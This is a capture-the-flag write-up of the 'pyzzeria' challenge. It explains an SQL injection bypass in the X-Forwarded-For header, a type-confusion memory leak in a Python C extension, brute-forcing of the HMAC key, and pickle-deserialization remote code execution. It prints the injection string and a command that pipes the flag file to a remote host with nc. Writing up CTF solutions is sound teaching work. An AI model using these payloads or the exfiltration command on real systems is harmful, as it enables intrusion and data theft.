This is a writeup for a fun web(+pwn) challenge called ‘pyzzeria’ from this year’s Polictf.

Recon

We are presented with the following challenge description:

An evil pyzza-maker has come to town: he is terrorizing the population by putting pineapple in every pyzza he cooks. Nobody can't stop him as long as he is the only one knowing the secret to alter the recipe...

Our intel sources have identified his evil lab, but unfortunately the access seems restricted to his staff only. Can you help us save the Pyzza?

(Pineapple on pyzza is not that bad, get over it Italy :P)

Obviously the challenge heavily hints at python, so we kind of know what to expect. The initial webpage was just a static page:

static page

Not much happening there. The only dynamic thing is a rate limiting that occurs if we submit a lot of requests:

You already tried too many times

After a while I wondered if they check the X-Forwarded-For header to implement this rate limiting and indeed they did:

validate_ip() failure: illegal IP address string passed to inet_aton

But no matter what IP is put into the header, it would always generate this error. I got really stuck here until my teammate niklasb figured out that it is in fact a simple SQL injection:

X-Forwarded-For: 1.2.3.4 '

Note:(The space after the IP address is actually required, otherwise it won’t pass inet_aton and you won’t see a SQL error)

This would produce the following error, which let us also infer that it’s sqlite:

near ",": syntax error 

It means they look up the IP address in some kind of whitelist. A simple ' or 1-- - will then bypass the check and let us finally view the actual web application.

Web App

The web app has two functionalities. The first lets us create a pyzza: create pyzza

Depending on the type of the pyzza you can either choose some ingredients or a leavening time. And once we have created a pyzza we obtain an order_code which we can then use on the /oven endpoint to cook a pyzza:

cook pyzza

If we check the response headers of the pyzza creation, we will see a pyzza cookie is set:

Set-Cookie: pyzza=4d3a59334235656e7068625746795a32686c636d6c30595170516558703659553168636d646f5a584a706447454b6344414b4b464d6e597a41314d4755304d4455354d6d55334e4445774d324d794d54566b4d5751315a54566b5a4445324d6a6b6e436e4178436b6b784d4170544a334270626d5668634842735a53634b6344494b6448417a436c4a774e416f753a63326135666634366531666163373538373938353437313762613433636466663334613832623463626332333734373831623262366636373635353934343262

Decoding it yields:

M:Y3B5enphbWFyZ2hlcml0YQpQeXp6YU1hcmdoZXJpdGEKcDAKKFMnYzA1MGU0MDU5MmU3NDEwM2MyMTVkMWQ1ZTVkZDE2MjknCnAxCkkxMApTJ3BpbmVhcHBsZScKcDIKdHAzClJwNAou:c2a5ff46e1fac75879854717ba43cdff34a82b4cbc2374781b2b6f676559442b

The M is the type of the pyzza (M=Margherita, S=Stuffed), the base64 is a serialized python object and the last part looks like an HMAC. Indeed it is, if we send an invalid signature the web app will complain:

verify_HMAC_signature() failure: Tampering attempt detected! Your request has been <a href='/warehouse/logs/tampering_attempts'>logged</a>

That hints at a folder that was not yet known. Looking at /warehouse, we will find a folder called dev:

warehouse

There are 4 python libraries that can be downloaded.

Python libs

The pyzza{error,margherita,stuffed}.so contain the class definitions for the three different types of pyzza: PyzzaMargherita, PyzzaStuffed and a mysterious PyzzaError. However, the most interesting things happen inside cuoco.so. First we notice a string !DUMMY__SECRET! in the lib, this could be the flag or the HMAC key maybe.

In cook() a pyzza is printed based on the provided type:

...
    /* If an invalid type is provided allocate a PyzzaError */
    if ( !type || (__printf_chk(1LL, (__int64)"Pyzza type %d\n"), type_ = type, type != 'M') && type != 'S' )
    {
      pyzza_error = (PyzzaError *)malloc(0x28uLL);
      pyzza_error->price = 1337;
      pyzza = (PyObject *)pyzza_error;
      pyzza_error->hdr = (char *)"INVALID!";
      pyzza_error->msg = "invalid test";
      type_ = type;
    }

    /* If 'pyzza' is a PyzzaMargherita, cast it and print it */
    if ( type_ == 'M' )
    {
      /* Notice the cast */
      LODWORD(v10) = cook_margherita((PyzzaMargherita *)pyzza);
      self->last_order = v10;
    }

    /* If 'pyzza' is a PyzzaStuffed, cast it and print it */
    else
    {
      if ( type_ != 'S' )
      {
        PyErr_SetString(PyExc_ValueError, "Invalid pyzza type.");
        return 0;
      }
      LODWORD(v7) = cook_stuffed((PyzzaStuffed *)pyzza);
      self->last_order = v7;
    }
...

The pyzza variable has type Pyzza *. If the provided type does not match M or S a PyzzaError pyzza is allocated instead. Then depending on the type cook_margherita() or cook_stuffed() are called with pyzza as parameter. Let’s take a look at the structure of PyzzaStuffed and PyzzaMargherita:

PyzzaStuffed:
    char *order_code
    char *ingredients
    char *pineapple

PyzzaMargherita:
    int age
    char *order_code
    char *pineapple

Notice the automatic addition of pineapples to each pizza! It does not serve any other purposes than angering Italians though, as far as I could tell.

The PyzzaMargherita has an int as first element, whereas the PyzzaStuffed has a char pointer. Now if we take a look into what happens in cook_stuffed() and cook_margherita() we will see:

int cook_stuffed(PyzzaStuffed *p) {
    ...
    LODWORD(fmt_string) = PyString_FromString("ingredients: %s\norder: %s\nprice: %dÔé¼");
    price = p->price;
    order_code = p->order_code;
    ingredients = p->ingredients;
    fmt_string_ = fmt_string;
    LODWORD(vals) = Py_BuildValue("ssi", ingredients, order_code, price);
    v8 = PyString_Format(fmt_string_, vals);
    ...
}

and

int cook_margherita(PyzzaMargherita *p) {
    ...
    LODWORD(fmt_string) = PyString_FromString("leavening: %lu\norder: %s\nprice: %dÔé¼");
    price = p->price;
    order_code = p->order_code;
    age = p->age;
    fmt_string_ = fmt_string;
    LODWORD(vals) = Py_BuildValue("lsi", age, order_code, price);
    v8 = PyString_Format(fmt_string_, vals)
    ...
}

It creates a format string and then accesses members of the PyzzaStuffed or PyzzaMargherita object. Recall the cook() function from above: these two functions are called by casting a Pyzza * to PyzzaMargherita * or PyzzaStuffed * based on the type.

Type confusion

This can lead to a simple type confusion: If we print a PyzzaStuffed with cook_margherita(), it will actually print the first struct member as an integer, thereby leaking the order_code char pointer of the PyzzaStuffed. And the same thing works the other way round: Printing a PyzzaMargherita with cook_stuffed() will interpret the age of the PyzzaMargherita as a char pointer and print the string it points to.

To make this work we need to somehow make it use the wrong cook_* function on the pyzza. Going back to the webapp again, we remember that the pyzza cookie contained the type of the pyzza. The whole workflow of the /oven endpoint seemed to work something like this:

  1. Takes the pyzza cookie and verifies the HMAC.
  2. Unserializes the serialized pyzza in the cookie.
  3. Verifies that the order_code POST parameter that we need to provide actually matches the order_code of the unserialized pyzza.
  4. Calls Cuoco.cook(unserialized_pyzza, pyzza_type) where pyzza_type comes from the cookie.

And indeed we can simply modify the pyzza type value in the cookie as it is not part of the HMAC message! Here’s the result of printing a PyzzaStuffed with cook_margherita(), we can clearly see the leaked pointer (29024832 = 0x1bae240):

[+] You ordered a 29024832 hour leaven Margherita [+]
[+] Checking your order code [+]

Now let’s just try to leak the same address by printing a PyzzaMargherita (with age 29024832) using cook_stuffed():

[+] Checking your order code [+]
[X] Sorry, order verification failed. [X]
!! The order_code you supply must match the one on the recipt !! 

Hmm for some reason the order_code we supplied as POST parameter was not accepted. But I made sure to supply the correct one?! Well yes, but look again what happens when a PyzzaMargherita is interpreted as a PyzzaStuffed and printed using the cook_stuffed() function. Because of their different layouts:

  1. the PyzzaMargherita’s age parameter is interpreted as the PyzzaStuffed’s order_code parameter. and
  2. the PyzzaMargherita’s order_code parameter is interpreted as the PyzzaStuffed’s ingredients parameter.

So the string we want to leak has become the PyzzaStuffed’s order_code. We need to provide the exact same string as POST parameter to pass the check. If we provide an incorrect one it will print the order verification failed error. That reduces our leak primitive to a simple check of the form “is string X at address Y”.

To try and verify this we execute the following steps: 1. Using a PyzzaStuffed leak a char pointer address, let’s call it addr. The string this pointer points to is the order_code of the PyzzaStuffed, let’s call it oc_stuffed. 2. Using a PyzzaMargherita leak a string from the address addr, which is just oc_stuffed . But since addr just became the order_code of the PyzzaMargherita (let’s call it oc_margherita), we need to provide oc_stuffed as a POST parameter instead of oc_margherita.

Doing so will result in:

[+] Checking your order code [+]
[+] Your pyzza (with extra pineapple :D) is ready, here is your recipt [+]
============
ingredients: 4134a03a6ab8b870faef0f59dc8a0a78
order: 89604d0d78308b5f0efad4e199e0cc15

Here 89604d0d78308b5f0efad4e199e0cc15 is oc_stuffed and 4134a03a6ab8b870faef0f59dc8a0a78 is oc_margherita.

Error pyzza!

One last problem remains: We can leak pointers now, but the pointers we leak point to the heap. They don’t help us to find an address from the cuoco.so, which is needed to calculate the address of the SECRET_STRING. But there is also one .so we have not used yet: pyzzaerror.so! Remember, it is used in the Cuoco.cook() method if an invalid pyzza type is provided and it actually loads the static string INVALID! into its first field. This string lies in the cuoco.so and if we leak it, we can calculate the offset to the SECRET_STRING.

But how can we create a PyzzaError and print it? If we check again the decompiled source code it will only create a PyzzaError if an invalid type is provided, but afterwards only print the pyzza if it has a valid type. The type is not touched between those two checks. But looking at the assembly we can notice that the first checks look like this:

0000000000001267 cmp     eax, 4Dh
...
0000000000001270 cmp     eax, 53h
...

whereas the checks after the allocation of the PyzzaError look like this:

00000000000011CC cmp     al, 4Dh
...
00000000000011D0 cmp     al, 53h
...

The second check only looks at the lower byte, so providing something like XM as type will fail the first check and create a PyzzaError, but pass the second check and print the PyzzaError using the cook_margherita() function using the cook_margherita() function.

Putting it all together

So now we know the address of the SECRET_STRING. We just have to leak it. Our leak primitive only works if we guess the whole string correctly. But we can start guessing at the last character and work our way backwards from there. Once we know the last char we go to the second-last and guess that one and so on, effectively bruteforcing it char by char. Here are the steps:

  1. Leak the INVALID! string address (addr_inv) by providing XM as type for a PyzzaStuffed.
  2. Calculate the address of the secret string: addr_ss = addr_inv - 68.
  3. Create a PyzzaMargherita with age addr_ss+offset, where offset starts at 14 (the secret length).
  4. Bruteforce the correct char by trying to print the PyzzaMargherita until it won’t say verification error. Once the correct char is found, decrement offset and go to step 3.

Eventually we recovered the whole secret HMAC key 3y0y3y0y3y0y3!. Having the HMAC key allows us to serialize any python object and send it inside the pyzza cookie to be deserialized by the server. This provides an easy way to achieve RCE. A simple google search led us to this script and using the payload cat /*/*/*flag* | nc myserver 80 we obtained the flag:

flag{c0w4bung4_p1zz4T1M3}

This was a really fun challenge, thanks to the creators and see you next year again ;-)

yummy